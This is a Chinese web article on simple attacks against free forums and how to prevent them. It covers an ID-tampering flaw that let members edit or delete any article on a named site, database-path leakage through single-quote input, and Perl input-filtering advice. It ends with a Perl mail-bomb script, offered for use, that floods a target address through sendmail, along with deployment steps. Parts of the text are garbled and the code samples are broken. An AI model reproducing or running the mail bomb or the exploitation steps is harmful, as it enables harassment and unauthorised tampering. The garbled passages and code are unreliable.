最簡單的幾種攻擊和防范方法

時(shí)間:2015-06-02 18:21來源: 作者: 點(diǎn)擊: 載入中...
  本文介紹的攻擊方法是為后面專門介紹相關(guān)內(nèi)容做鋪墊,讀者在學(xué)習(xí)的時(shí)候應(yīng)該多了解一些有關(guān)Perl和網(wǎng)站的知識(shí),如果可能,最好在自己的系統(tǒng)中安裝一套網(wǎng)站服務(wù)程序,然后尋找一些免費(fèi)的Perl代碼進(jìn)行調(diào)試、研究?! ∫弧⒐裘赓M(fèi)論壇:  這里介紹的攻擊非常簡單,它所達(dá)到的效果就是獲得論壇管理員密碼、具有修改論壇的權(quán)限等,所以并不設(shè)計(jì)漏洞掃描和清除痕跡等步驟。首先介紹一下問題的起源:在網(wǎng)絡(luò)上很多網(wǎng)站都提供了論壇或者電子留言版,這些服務(wù)大多數(shù)使用asp、php、cgi或者perl編寫完成,而對(duì)于這些免費(fèi)的論壇代碼黑客也能夠獲得,因此只要經(jīng)過分析就可以找到“免費(fèi)軟件中的缺陷”,進(jìn)而對(duì)網(wǎng)站上提供的論壇進(jìn)行攻擊。

  例如http://www.tougao.com/網(wǎng)站提供的“稿件管理系統(tǒng)”就存在一個(gè)很嚴(yán)重的問題(本人已經(jīng)和他們聯(lián)系并說明此漏洞、相關(guān)漏洞現(xiàn)已修復(fù)),讓我們看看通過瀏覽器訪問它的形式,當(dāng)我們閱讀其中的稿件時(shí),會(huì)發(fā)現(xiàn)在URL內(nèi)的地址是/list.asp?articleid=nnnn,顯然list.asp是顯示文章的程序,而后面的?articleid=nnnn則是它的參數(shù),nnnn是文章的編號(hào)。當(dāng)黑客申請(qǐng)成為tougao網(wǎng)站的一員后,便擁有了上傳文章和修改、刪除自己發(fā)表文章的權(quán)利,修改文章使用editarticleself.asp?articleid=nnnn,其中的nnnn應(yīng)該是自己的文章代碼,但是如果黑客將文章代碼改變會(huì)怎么樣呢?

  修改了文章代碼后發(fā)現(xiàn),可以對(duì)其他文章進(jìn)行修改!也就是說任何經(jīng)過免費(fèi)注冊(cè)成為tougao網(wǎng)站的用戶都可以擁有修改任意文章的權(quán)利,同時(shí)使用delarticleself.asp則可以刪除任何文章! ∫淮喂セ鞴濤乙丫鶚鐾炅?,是不是窚\<虻ィ科涫迪裾庵治侍饌縞纖媧杉?,好好想一蠑n綣詎nnn的修改進(jìn)行的更“不著邊際”,例如輸入幾個(gè)英文字母或者標(biāo)點(diǎn)符號(hào)會(huì)出現(xiàn)什么情況?經(jīng)過嘗試發(fā)現(xiàn),當(dāng)屬的數(shù)值為“單引號(hào)”是,系統(tǒng)會(huì)出現(xiàn)錯(cuò)誤并報(bào)告數(shù)據(jù)庫文件的名稱、磁盤物理路徑等敏感信息,這樣就可以直接通過下載軟件將他們的數(shù)據(jù)庫下載到本地并從中找到管理員賬號(hào)。

  在早期的YukiBBS3000上,當(dāng)注冊(cè)者的注冊(cè)信息內(nèi)包含單引號(hào)時(shí),也會(huì)出現(xiàn)“程序運(yùn)行錯(cuò)誤”的提示,并且造成論壇的內(nèi)部數(shù)據(jù)錯(cuò)誤,徹底終止論壇的正常運(yùn)行?! 《?、防范攻擊:  相對(duì)來說,網(wǎng)易、新浪等大型門戶網(wǎng)站在這方面做的比較好,他們對(duì)文章ID號(hào)進(jìn)行了判斷,防止特殊字符的介入,如果使用者輸入了非法的字符,經(jīng)過檢測(cè)系統(tǒng)會(huì)提示輸入的ID號(hào)碼非法,并且拒絕接受請(qǐng)求,返回一個(gè)“輸入字符非法”的界面。

  另外對(duì)于文章的修改,他們也考慮的非常周到,在進(jìn)行每一次文章修改的時(shí)候,系統(tǒng)都會(huì)檢測(cè)用戶身份,確定準(zhǔn)備修改的文章是否屬于登陸身份,如果不屬于則會(huì)提出警告信息。而實(shí)際上,這種問題在早期他們的網(wǎng)站上也是存在的,只不過因管理員網(wǎng)絡(luò)安全意識(shí)比較強(qiáng),因此即使的發(fā)現(xiàn)并修補(bǔ)了漏洞。

  cgi、perl等程序在設(shè)計(jì)的時(shí)候,必須考慮到各種可能出現(xiàn)的情況,例如對(duì)文件名的提交必須考慮周到,一個(gè)程序沒有考慮到的特殊名稱也許會(huì)對(duì)系統(tǒng)造成非常嚴(yán)重的后果,用戶輸入一個(gè)文件名,有可能就試圖打開輸入危險(xiǎn)字符串!例如用戶輸入的文件名中包含路徑字符,如目錄斜杠和雙點(diǎn)!盡管你期望的是輸入公用的文件名(例如report.txt),但結(jié)果卻可能是/report.txt或//report.txt等等,系統(tǒng)中所有文件就有可能泄露出去,后果是可想而知的。

  設(shè)計(jì)cgi、perl程序,最好能夠在代碼中加入下面的非常字符檢測(cè)代碼:

  if(($file_name=——/[^a-zA-Z_\.]/) ?。?file_name=——/^\./))

  { #文件包含有不合法字符 }

 另外還要注意對(duì)大于號(hào)、小于號(hào)的判斷,因?yàn)檫@兩種符號(hào)是html文檔中 的屬性符號(hào),不進(jìn)行屏蔽會(huì)對(duì)論壇造成嚴(yán)重的后果,網(wǎng)絡(luò)上不是有很多“小兒科”的聊天室踢人術(shù)嗎?簡單的方式是不允許小于號(hào)和大于號(hào)的出現(xiàn),因?yàn)樗?HTML語法必須包含在這兩個(gè)字符間,如果程序檢測(cè)到它們就返回一個(gè)錯(cuò)誤提示,下面一行Perl代碼快速地清除了這兩個(gè)字符:

  $user_input=~s/<>//g;

  當(dāng)然還有比較好的選擇,就是將這兩個(gè)字符轉(zhuǎn)換成它們的HTML換碼(特殊的代碼),用于表示每個(gè)字符而不使用該字符本身。下面的代碼通過全部用<替換了小于符號(hào),用>替換了大于符號(hào),從而完成了轉(zhuǎn)換過程:  $user_input=~s//& gt;/g;  三、編寫簡單的郵件炸彈:   利用Perl程序可以非??焖俚木帉戉]件炸彈程序,這種方法比起直接使用別人編寫的郵件炸彈要好的多,至少學(xué)習(xí)者能夠真正“體會(huì)一下”什么才是黑客。有 關(guān)這個(gè)炸彈的編譯環(huán)境是具備一臺(tái)有CGI權(quán)限的網(wǎng)絡(luò)服務(wù)器,同時(shí)這臺(tái)服務(wù)器上提供了sendmail命令(當(dāng)然這一切可以在自己的系統(tǒng)上進(jìn)行設(shè)置),并且 學(xué)習(xí)著還要初步了解有關(guān)perl語言的知識(shí)。

  程序的原理非常簡單,就是利用sendmail命令向目標(biāo)重復(fù)發(fā)送相同內(nèi)容的電子郵件,為了控制發(fā)送郵件的數(shù)量,我們聲明一個(gè)計(jì)數(shù)器變量,同時(shí)將程序用while()函數(shù)做循環(huán),下面我們看一下程序的源代碼:  #!/bin/perl

  $file='/user/lib/sendmail';

  $target='someone@target.com';

  $count=0;

  while($count<1000){

  open(MAIL,"/$file$target")    die" Can not open $file!\n

  print MAIL"哈哈,你被攻擊啦"

  close(MAIL);

  sleep 3;

  $count++;

  }

   看明白了嗎?程序就上面這點(diǎn)兒,是不是非常簡單?因?yàn)镻erl屬于解釋型語言,因而不需要進(jìn)行編譯,直接將源代碼上傳到服務(wù)器上,然后設(shè)置成為755或 者775型,就可以通過瀏覽器調(diào)用而直接使用了。程序中的$file和$target變量分別定義了sendmail命令的路徑和目標(biāo)的地址,在使用此程 序以前要根據(jù)個(gè)人需要進(jìn)行修改,而$count變量是我們要發(fā)送的炸彈郵件數(shù)量,因?yàn)榘l(fā)送郵件工作是服務(wù)器完成的,因而速度非???,這個(gè)數(shù)量可以設(shè)置的大 一些,我們并不會(huì)感覺到程序的緩慢。

(責(zé)任編輯:鑫報(bào))
>相關(guān)新聞
  • 愛嘮叨的媽媽
  • 這樣的藍(lán)天,你見過嗎?
  • 讓網(wǎng)絡(luò)失信者付出承受不起的代價(jià)
  • 人民日?qǐng)?bào):別讓網(wǎng)絡(luò)變“痰盂”
  • 網(wǎng)絡(luò)語言要查殺低俗的“毒”
  • 必須掌握的病毒知識(shí)
  • 頂一下
    (0)
    0%
    踩一下
    (0)
    0%
    ------分隔線----------------------------
    推薦內(nèi)容
    網(wǎng)站簡介??|? 保護(hù)隱私權(quán)??|? 免責(zé)條款??|? 廣告服務(wù)??|? About Big northwest network??|? 聯(lián)系我們??|? 版權(quán)聲明
    隴ICP備08000781號(hào)??Powered by 大西北網(wǎng)絡(luò) 版權(quán)所有??建議使用IE8.0以上版本瀏覽器瀏覽
    Copyright???2010-2014?Dxbei Corporation. All Rights Reserved